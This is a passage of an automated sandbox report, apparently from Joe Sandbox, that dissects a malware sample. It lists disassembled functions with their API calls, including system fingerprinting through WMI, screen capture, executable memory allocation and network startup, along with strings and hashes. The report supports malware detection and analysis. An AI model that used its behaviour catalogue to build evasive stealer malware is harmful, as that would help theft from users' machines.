std::__non_rtti_object::__construct_from_string_literal.LIBVCRUNTIME ref: 00428D83
__CxxThrowException@8.LIBVCRUNTIME ref: 00428DAA

Part of subcall function 0042860D: RaiseException.KERNEL32(?,?,0040D87E,00000000,00000000,00000000,00000000,?,?,?,?,0040D87E,00000000,0045617C,00000000), ref: 0042866D

Strings

Access violation - no RTTI data!, xrefs: 00428D7A

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowstd::__non_rtti_object::__construct_from_string_literal
String ID: Access violation - no RTTI data!
API String ID: 2053020834-2158758863
Opcode ID: f465db51e5b26baf5defdc7598b1b5016ca783533df98e5f879df06e94262f84
Instruction ID: 6523df8e39b2e501409064d37ec9e65ca05e1b8799177bf407a1bfc54a05c872
Opcode Fuzzy Hash: f465db51e5b26baf5defdc7598b1b5016ca783533df98e5f879df06e94262f84
Instruction Fuzzy Hash: 28E0DF726993185A9A04D6A1B846CDE73EC9E24300BA0001FF900920C2EE2DF918826D

Function 0042381B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::~InternalContextBase.LIBCONCRT ref: 0042382E

Strings

~B, xrefs: 00423827
zB, xrefs: 00423821

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ContextInternal$BaseBase::~Concurrency::details::
String ID: zB$~B
API String ID: 3275300208-395995950
Opcode ID: a1da6c89fa2dfd945bd02a2cb13c6e7ff4bb2a0d62993eedb0658c40d2c20ec7
Instruction ID: f55228a66ce0378ecda15d2e29e2cf9b619ecd1f8f2314d3bfe00ef4b4db5243
Opcode Fuzzy Hash: a1da6c89fa2dfd945bd02a2cb13c6e7ff4bb2a0d62993eedb0658c40d2c20ec7
Instruction Fuzzy Hash: 83D05B7124C32525E2256A4974057857AD84B01764F50803FF94456682CBB9654442DC

Function 004212BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 004212DB
__CxxThrowException@8.LIBVCRUNTIME ref: 004212E9

Strings

pThreadProxy, xrefs: 004212D3

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Exception@8Throwstd::invalid_argument::invalid_argument
String ID: pThreadProxy
API String ID: 1687795959-3651400591
Opcode ID: a6860d66e6dfc760da51a725ddbc90d8fa67c7294f8bcc7dcd6806e1c2d97e2b
Instruction ID: be918fe35ab2875efcd6209978594ad56e839e7639c00e6f4a717d1a784130ad
Opcode Fuzzy Hash: a6860d66e6dfc760da51a725ddbc90d8fa67c7294f8bcc7dcd6806e1c2d97e2b
Instruction Fuzzy Hash: DED05B71E0020856D700E7B6D806F9F77A85B10708F50427B7D14E6186DB79E50886AC

Function 004394BD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 6COMMON

Download Yara Rule

APIs

GetCommandLineA.KERNEL32 ref: 004394BD
GetCommandLineW.KERNEL32 ref: 004394C8

Strings

%o, xrefs: 004394C3

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: CommandLine
String ID: %o
API String ID: 3253501508-3520018610
Opcode ID: 7496f3f1f43a5bc4f5ff7b5e8a7696d052f6bc66573cc841d28ce311f0d10aa6
Instruction ID: a72b382a13dd36543230f851506b27d64c175e456db285366795c2c72c230a95
Opcode Fuzzy Hash: 7496f3f1f43a5bc4f5ff7b5e8a7696d052f6bc66573cc841d28ce311f0d10aa6
Instruction Fuzzy Hash: 15B0487C8003008BC7108F28AA081043AA0BA0BA0338002B5D4099233AD734A1008E08

Function 0069B0F1 Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000000,00672AAD,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,00672AAD,00000000), ref: 0069B187
GetLastError.KERNEL32 ref: 0069B195
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00672AAD,00000000), ref: 0069B1F0

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: e536570b9c15492d0518b6f8e8b2d6b0fefd1f832faf498bff9e3d376521cf30
Instruction ID: aed4642f8bf5d54e515cade259e993775dae5bfb735878ec6f79ee18911b957e
Opcode Fuzzy Hash: e536570b9c15492d0518b6f8e8b2d6b0fefd1f832faf498bff9e3d376521cf30
Instruction Fuzzy Hash: C6410730604206AFCF219FA4ED546FE7BAEEF41710F245169E8599B6A1DB708E01C7A4

Function 0042AE8A Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,F(@,00000000), ref: 0042AF20
GetLastError.KERNEL32 ref: 0042AF2E
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000), ref: 0042AF89

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: 52d4a7004019297d44bc7c19dc2dfefffb9580c93fe43c28174d6fe013107c11
Instruction ID: 9270b5025f3a17d6db836abfdfc26bc83889a51b194ae21b206bd0a56260f073
Opcode Fuzzy Hash: 52d4a7004019297d44bc7c19dc2dfefffb9580c93fe43c28174d6fe013107c11
Instruction Fuzzy Hash: 5F410770700222AFCB219F65EA44BABBBB4EF01311F56416BFC5597291DB3C8D11C75A

Analysis Process: 1C22.tmp.exePID: 7696, Parent PID: 7468COMMON

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	20.9%
Signature Coverage:	41.8%
Total number of Nodes:	153
Total number of Limit Nodes:	12

Executed Functions

Function 0043B870 Relevance: 37.6, APIs: 11, Strings: 10, Instructions: 880
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(CDCCD3E7,00000000,00000001,?,00000000), ref: 0043BCCC
SysAllocString.OLEAUT32(37C935C6), ref: 0043BD46
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0043BD84
SysAllocString.OLEAUT32(37C935C6), ref: 0043BDE9
SysAllocString.OLEAUT32(37C935C6), ref: 0043BED0
VariantInit.OLEAUT32(?), ref: 0043BF3E
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 0043C243

Strings

#~|, xrefs: 0043B8A7
M, xrefs: 0043BB5B
:;$%, xrefs: 0043C2EC
n:T8, xrefs: 0043BE4A
#~|, xrefs: 0043B89D
k"@ , xrefs: 0043BE3A
F*R(, xrefs: 0043BE2A
[&h$, xrefs: 0043BE32
96, xrefs: 0043BE52
e?^, xrefs: 0043BC4F

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID: AllocString$BlanketCreateInformationInitInstanceProxyVariantVolume
String ID: M$96$:;$%$F*R($[&h$$e?^$k"@ $n:T8$#~|$#~|
API String ID: 1810270423-2807872674
Opcode ID: b9f6e505c8dc3f742046bcb89f644a5fe799d125bb799c1c1616f98f374443e3
Instruction ID: 0fa8c84a7900d0f22f2d4f21e88135ff08406c7ea1f94cba9a5970d36c475c8e
Opcode Fuzzy Hash: b9f6e505c8dc3f742046bcb89f644a5fe799d125bb799c1c1616f98f374443e3
Instruction Fuzzy Hash: 735202726083408BD714CF68C88176BFBE1EF89314F189A2EE5D597391D778D806CB96

Function 00415720 Relevance: 17.5, APIs: 1, Strings: 8, Instructions: 1798COMMON

Download Yara Rule

Strings

a, xrefs: 004163D3
NR@:, xrefs: 00416291
L, xrefs: 004162B2
R(RW, xrefs: 00416265
DASS, xrefs: 0041629C
BYQZ, xrefs: 00416286
F2}0, xrefs: 00415A76
9?4<, xrefs: 00416345

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID: 9?4<$BYQZ$DASS$F2}0$L$NR@:$R(RW$a
API String ID: 0-3642574725
Opcode ID: d563cf79af37ff0fce69e7e6826500478a3c9b7465da19f7dffa4c8727075802
Instruction ID: 7f7427958d78b94ffc8c4a18595fe2cbb503adca6349e1c34573b0944bc9dd97
Opcode Fuzzy Hash: d563cf79af37ff0fce69e7e6826500478a3c9b7465da19f7dffa4c8727075802
Instruction Fuzzy Hash: 80C21675608350DFD7209F28D8957ABB7E2EFC6314F19892DE4C98B391EB389841CB46

Function 00408880 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 180
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 004088A4
GetCurrentThreadId.KERNEL32 ref: 004088AE
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 00408955
GetForegroundWindow.USER32 ref: 0040896A
ExitProcess.KERNEL32 ref: 00408AB7

Strings

6W01, xrefs: 004089B5

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID: 6W01
API String ID: 4063528623-326071965
Opcode ID: 39779329cba8329f932d9f79242290fe4725b3bdf2e9b5d89c9d7ceec3140c35
Instruction ID: 68999dc676c32329d0dd7cdb3a03855c51f4a57e0b82bf1efaa177e53c028fce
Opcode Fuzzy Hash: 39779329cba8329f932d9f79242290fe4725b3bdf2e9b5d89c9d7ceec3140c35
Instruction Fuzzy Hash: A0516A73B443040BD328EF659C46356BA879BC5314F0AC13EA985BB7E2ED78980586CA

Function 0040AA32 Relevance: 2.6, Strings: 2, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

MO, xrefs: 0040AA37
MO, xrefs: 0040A9CF

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID: MO$MO
API String ID: 0-3148518880
Opcode ID: 15a7f7520f170cbb2b7e14720c3e61eb56271343ee20c45e820ed2ad2248e475
Instruction ID: de3bae81b745c0a1c58d0910fc7dee7dc7ce1027ddf7ad09ed428793afe2e5a8
Opcode Fuzzy Hash: 15a7f7520f170cbb2b7e14720c3e61eb56271343ee20c45e820ed2ad2248e475
Instruction Fuzzy Hash: BB119E742443818BEF148F649D916677FA0EF42320B2499A99C455F3CBC638C511CF69

Function 004402C0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0044316E,00000002,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 004402EE

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0210003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0210024D

Strings

cess, xrefs: 0210018D
kernel32.dll, xrefs: 0210008F, 02100095

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: aad6ab16f8a28cd0eb1489dbc57eebdc88624be26de041bf3cadf3bec6a1f088
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: F4525974A01229DFDB64CF58C984BACBBB1BF09304F1580E9E54DAB391DB70AA95CF14

Function 0040E3D3 Relevance: 3.1, APIs: 2, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 0040E3D7
CoInitializeEx.COMBASE(00000000,00000002), ref: 0040E51A

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: c988e08bd81bdbbbc832e77591d1fe524e628b2a2385e733f966e0820bef1a3a
Instruction ID: b2aa6f84acc7d50c337c606844e5536a7248dcea6e3e3aabb346ed1b6ad7aec1
Opcode Fuzzy Hash: c988e08bd81bdbbbc832e77591d1fe524e628b2a2385e733f966e0820bef1a3a
Instruction Fuzzy Hash: CC41FAB4C10B40AFD370EF3D9A0B7167EB4AB05214F404B2DF9E6966D4E230A4198BD7

Function 005607A6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 005607CE
Module32First.KERNEL32(00000000,00000224), ref: 005607EE

Memory Dump Source

Source File: 00000003.00000002.1661185876.0000000000560000.00000040.00001000.00020000.00000000.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_560000_1C22.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: f2ac7dd32b7bcaea2242f36d7a98d77d9b9b43e0297924d86d601794ae2682f4
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 9DF06D322017116FE7203AB9A88DA6F7BE8FF89765F101528E642920C0DAB0F9458A61

Function 02100E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02100223,?,?), ref: 02100E19
SetErrorMode.KERNELBASE(00000000,?,?,02100223,?,?), ref: 02100E1E

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: d5591706dddec6dc70c020a45b27ca906bb1356f428d6b1f08c8c78c4e708908
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 05D0123114512877D7002A94DC09BCD7B1CDF09B66F108011FB0DE9080C7B0954046E5

Function 0040DF92 Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040DFA4

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 525ce6852620cf2250b72d132fea134f7b330ed63f2d069f63d9c038e588b8ce
Instruction ID: ccd3c5eb67ff0c959232c13284a4feb1b70bc0ce71dfd05ddd5b0dd8dbfc25b4
Opcode Fuzzy Hash: 525ce6852620cf2250b72d132fea134f7b330ed63f2d069f63d9c038e588b8ce
Instruction Fuzzy Hash: AAE04F763843026BE7688B789D57B01228697C5B28F368235F716AF2E5EAB474064909

Function 0040AB12 Relevance: 1.5, APIs: 1, Instructions: 20
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000202), ref: 0040AB46

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: b187d8107ffde8e05c7d0a09cdfc1bb296f851924af62c815b9bdc52e44f9908
Instruction ID: 8daa5b18d499817a70b2f557c0c6df6f58e6f2abf740e83111143c9212bc1643
Opcode Fuzzy Hash: b187d8107ffde8e05c7d0a09cdfc1bb296f851924af62c815b9bdc52e44f9908
Instruction Fuzzy Hash: 0AE02B7A5D5104BBF2486751FD4FC563616BB4330AB08413DFC185017BD6511426C66A

Function 0043EB40 Relevance: 1.5, APIs: 1, Instructions: 15
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000,?,004402AB,?,0040B9C7,00000000,00000001), ref: 0043EB60

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 81edc790b0ddca4267d7eff7df3f20d03a026a9a6739d0257eb6886926d10809
Instruction ID: 6306fd139b63709815d779222b474fbda691f96f30962fae2caf2063fc0eb5d0
Opcode Fuzzy Hash: 81edc790b0ddca4267d7eff7df3f20d03a026a9a6739d0257eb6886926d10809
Instruction Fuzzy Hash: FDD0C931445536FBC6102F28BC06BCB3B94EF497A5F0708A5F540AA075E725DC918AD8

Function 004404B1 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 004404BF

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: ac82542d7ead4e5736e61cdedea6fc5be5df443e6220e35db9291a32a896b3cb
Instruction ID: 7f86c14d6ce35f706de72b94d0a04e46592ace6e5707a2a12f6891b8fa8e10aa
Opcode Fuzzy Hash: ac82542d7ead4e5736e61cdedea6fc5be5df443e6220e35db9291a32a896b3cb
Instruction Fuzzy Hash: 15E0E2B9900214DBEB44CF68FC9592933B5EB8B3093040439E202C3362EA34E602CF59

Function 0043EB20 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,E931068D,004089CF,6W01), ref: 0043EB30

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 79e8824736e673c164acaa36c8672ab8da0624bb6b492fb9ad0aed697a58ad7a
Instruction ID: faa30900258afa928b287b4fa720072893bcbdc8cd762d9751037a3417221d58
Opcode Fuzzy Hash: 79e8824736e673c164acaa36c8672ab8da0624bb6b492fb9ad0aed697a58ad7a
Instruction Fuzzy Hash: 91C04C31045120ABD5506B15EC05BC63B54DF852A5F020065B105660718660ACC2C698

Function 00560465 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 005604B6

Memory Dump Source

Source File: 00000003.00000002.1661185876.0000000000560000.00000040.00001000.00020000.00000000.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_560000_1C22.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: d228a9cddfd9111f9a44b2e45a9b5e1d1710010e70b07292a1dc2672d5dd14c0
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 20112B79A40208EFDB01DF98C985E99BFF5AF48351F058094FA489B362D771EA50DF80

Non-executed Functions

Function 0213BAD7 Relevance: 32.4, APIs: 8, Strings: 10, Instructions: 880memorycomCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(CDCCD3E7,00000000,00000001,?,00000000), ref: 0213BF33
SysAllocString.OLEAUT32(37C935C6), ref: 0213BFAD
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0213BFEB
SysAllocString.OLEAUT32(37C935C6), ref: 0213C050
SysAllocString.OLEAUT32(37C935C6), ref: 0213C137
VariantInit.OLEAUT32(?), ref: 0213C1A5

Strings

:;$%, xrefs: 0213C553
n:T8, xrefs: 0213C0B1
F*R(, xrefs: 0213C091
96, xrefs: 0213C0B9
e?^, xrefs: 0213BEB6
k"@ , xrefs: 0213C0A1
M, xrefs: 0213BDC2
#~|, xrefs: 0213BB04
[&h$, xrefs: 0213C099
#~|, xrefs: 0213BB0E

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID: AllocString$BlanketCreateInitInstanceProxyVariant
String ID: M$96$:;$%$F*R($[&h$$e?^$k"@ $n:T8$#~|$#~|
API String ID: 65563702-2807872674
Opcode ID: 9f1f51344e39299604904236268e70905638ee0f88f663c1ee43faa23c8ba667
Instruction ID: 0cd05f757dc3eed905580ea7652814695fe187d5ea0e63938db7464b1f23f01d
Opcode Fuzzy Hash: 9f1f51344e39299604904236268e70905638ee0f88f663c1ee43faa23c8ba667
Instruction Fuzzy Hash: 3652E0726483408BD724CF28C8917ABFBE2EFC5314F188A2DE5959B391D775D806CB92

Function 00436980 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 230windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00436989
GetSystemMetrics.USER32(0000004C), ref: 00436999
GetSystemMetrics.USER32(0000004D), ref: 004369A1
GetCurrentObject.GDI32(00000000,00000007), ref: 004369AA
GetObjectW.GDI32(00000000,00000018,?), ref: 004369BA
DeleteObject.GDI32(00000000), ref: 004369C1
CreateCompatibleDC.GDI32(00000000), ref: 004369D0
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 004369DB
SelectObject.GDI32(00000000,00000000), ref: 004369E7
BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,00CC0020), ref: 00436A0A

Strings

Y, xrefs: 00436BEE

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID: Object$CompatibleCreateMetricsSystem$BitmapCurrentDeleteSelect
String ID: Y
API String ID: 1298755333-3233089245
Opcode ID: c24b2a11f15356cf646cf834205c4c04271eabb57bf08da4818dca27ea7b735a
Instruction ID: ce6842184c50d62c14bce23637ee5c5f438d7dfa952fd3edf86735d4080956a5
Opcode Fuzzy Hash: c24b2a11f15356cf646cf834205c4c04271eabb57bf08da4818dca27ea7b735a
Instruction Fuzzy Hash: 4A81C33A158310EFD7489FB4AC49A3B7BA5FB8A352F050C3CF546D2290C73995168B2B

Function 00425100 Relevance: 25.0, APIs: 3, Strings: 11, Instructions: 480COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000), ref: 004251AA
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000), ref: 00425243

Strings

1D6Z, xrefs: 0042539B
%\)R, xrefs: 004253AB
+$e, xrefs: 004251F2
:@&F, xrefs: 00425393
]RB, xrefs: 00425257
.T'j, xrefs: 004253BB
XY, xrefs: 00425146
C`<f, xrefs: 004253D3
,X*^, xrefs: 004253A3
?P:V, xrefs: 004253B3
+$e, xrefs: 00425165, 0042517A

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: +$e$+$e$%\)R$,X*^$.T'j$1D6Z$:@&F$?P:V$C`<f$XY$]RB
API String ID: 237503144-2846770461
Opcode ID: be84ad2a2dc8deef5579fea24953012850529ab1ccaeb00d1e318e8ad6242404
Instruction ID: b6d59b0557f70d7ec2d4011febfa6e18cf4a5b2df19338a98cc8181bc2575411
Opcode Fuzzy Hash: be84ad2a2dc8deef5579fea24953012850529ab1ccaeb00d1e318e8ad6242404
Instruction Fuzzy Hash: E7F1EDB4208350DFD310DF69E89166BBBE0FFC5314F54892DE5958B362E7B88906CB46

Function 00419840 Relevance: 16.7, APIs: 2, Strings: 7, Instructions: 936COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 00419CE7
FreeLibrary.KERNEL32(?), ref: 00419D24

Part of subcall function 004402C0: LdrInitializeThunk.NTDLL(0044316E,00000002,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 004402EE

Strings

pv, xrefs: 00419BB2
SP, xrefs: 00419BF2
